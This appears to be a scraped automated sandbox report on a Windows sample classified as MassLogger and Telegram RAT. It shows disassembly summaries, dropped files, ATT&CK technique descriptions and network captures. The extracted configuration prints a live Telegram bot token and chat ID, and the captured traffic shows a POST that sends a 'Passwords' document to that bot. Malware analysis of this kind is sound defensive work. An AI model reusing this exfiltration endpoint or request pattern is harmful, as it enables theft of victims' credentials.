OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0059100A), ref: 005CB303

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 005CB2FE

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: cd86dd39f7f82b837f16ebd5b529023628ad507b433867a0bec12060bada7545
Instruction ID: 8ff8e970d0280b69400fd98f2423173e261e59262ca4fd770fd392ce25e6460a
Opcode Fuzzy Hash: cd86dd39f7f82b837f16ebd5b529023628ad507b433867a0bec12060bada7545
Instruction Fuzzy Hash: A0E092702007428FE720DF68E4097867FE8BF00704F048D2DE456C7240EBB4E444CBA1

Function 005E7C74 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 005E7C82

Part of subcall function 005B3358: _doexit.LIBCMT ref: 005B3362

Strings

AutoIt, xrefs: 005E7C76
Error allocating memory., xrefs: 005E7C7B

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: effa8aee2d3b50c8e44d053d0f89f34215d583f9078a1342f1d6f8b4d0c9a123
Instruction ID: 7a6e67a49aaa94708ef849803dae94fed664c8869b90323e2b869558b4493fd6
Opcode Fuzzy Hash: effa8aee2d3b50c8e44d053d0f89f34215d583f9078a1342f1d6f8b4d0c9a123
Instruction Fuzzy Hash: 02D02B323C831C36D31432A5AC0FFCB3E8D5F05B52F044412FB085D0D34AD1A88041E4

Function 005D1935 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 005D1775

Part of subcall function 0060BFF0: LoadLibraryA.KERNEL32(kernel32.dll,?,005D195E,?), ref: 0060BFFE
Part of subcall function 0060BFF0: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0060C010

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 005D196D

Strings

WIN_XPe, xrefs: 005D1788

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: 4d258a96fa06b34d9b56417ee317883f77fa3caabcecb535c9f4853c7d004f38
Instruction ID: a308a127bc82d7f8cac36703ef83518b3452355f7152c90706c99f1d05bf9c81
Opcode Fuzzy Hash: 4d258a96fa06b34d9b56417ee317883f77fa3caabcecb535c9f4853c7d004f38
Instruction Fuzzy Hash: A9F0A570804109EBDB25DB99C984AECBEF9FB08301F545497E102A21A1DB715E85DF65

Function 00615964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0061596E
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00615981

Part of subcall function 005F5244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 005F52BC

Strings

Shell_TrayWnd, xrefs: 00615967

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: f8d8d64dac71522e726066bc56f859ff413c0a4724d0970f1b31108d5f867e82
Instruction ID: bb38e1c1a464d7fc0ecee984522ee02f35c89f299056afea9234ddf7995229ab
Opcode Fuzzy Hash: f8d8d64dac71522e726066bc56f859ff413c0a4724d0970f1b31108d5f867e82
Instruction Fuzzy Hash: C8D0C935784711BAE7A8AB709C0FFE66A16BB50B50F055826B349AA1D1D9E49800C694

Function 00615998 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 006159AE
PostMessageW.USER32(00000000), ref: 006159B5

Part of subcall function 005F5244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 005F52BC

Strings

Shell_TrayWnd, xrefs: 006159A7

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: cfcfc352d1045db18fb9fcade6dfae29d179041d28635bab2636672fd822f1e7
Instruction ID: c7fdf01b80cd84cfa73b0cae4c1fc4895660cbf81c63c724657c2ac4043559a8
Opcode Fuzzy Hash: cfcfc352d1045db18fb9fcade6dfae29d179041d28635bab2636672fd822f1e7
Instruction Fuzzy Hash: 25D0C9317807117AE7A8AB709C0FFD66A16BB54B50F055826B349AA1D1D9E4A800C694

Source: 00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg", "Telegram Chatid": "5839829477"}
Source: RegSvcs.exe.4836.2.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendMessage"}

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49713 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49713 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839829477&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31837185c414Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 054F0A1Ah	2_2_054F0600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 054F02F1h	2_2_054F0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 054FC34Dh	2_2_054FC010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 054FE868h	2_2_054FE5C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 054F0A1Ah	2_2_054F05F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 054FD708h	2_2_054FD460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 054FBA09h	2_2_054FB760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 054FE410h	2_2_054FE168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 054FB5B1h	2_2_054FB308
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 054FDFB8h	2_2_054FDD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 054FB159h	2_2_054FAEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 054F0A1Ah	2_2_054F0947
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 054FDB60h	2_2_054FD8B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 054FBE61h	2_2_054FBBB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 054FAD01h	2_2_054FAA58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 054FECC0h	2_2_054FEA18

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: 171.39.242.20.in-addr.arpa

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report y1jQC8Y6bP.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\autD202.tmp

C:\Users\user\AppData\Local\Temp\autD251.tmp

C:\Users\user\AppData\Local\Temp\outbluffed

C:\Users\user\AppData\Local\Temp\reaffection

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Windows Analysis Report
y1jQC8Y6bP.exe

Function 00593B3A Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 153
windowCOMMON

Function 005949A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Function 00594E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Function 005F9155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Function 00593015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Function 00593041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Function 0059708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Function 00593633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151
windowtimeregistryCOMMON

Function 00593A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Function 00593766 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 267
COMMON

Function 0059F76F Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 168
comCOMMON

Function 011C2620 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Function 005939D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Function 011C23B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 158
fileCOMMON

Function 0059407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre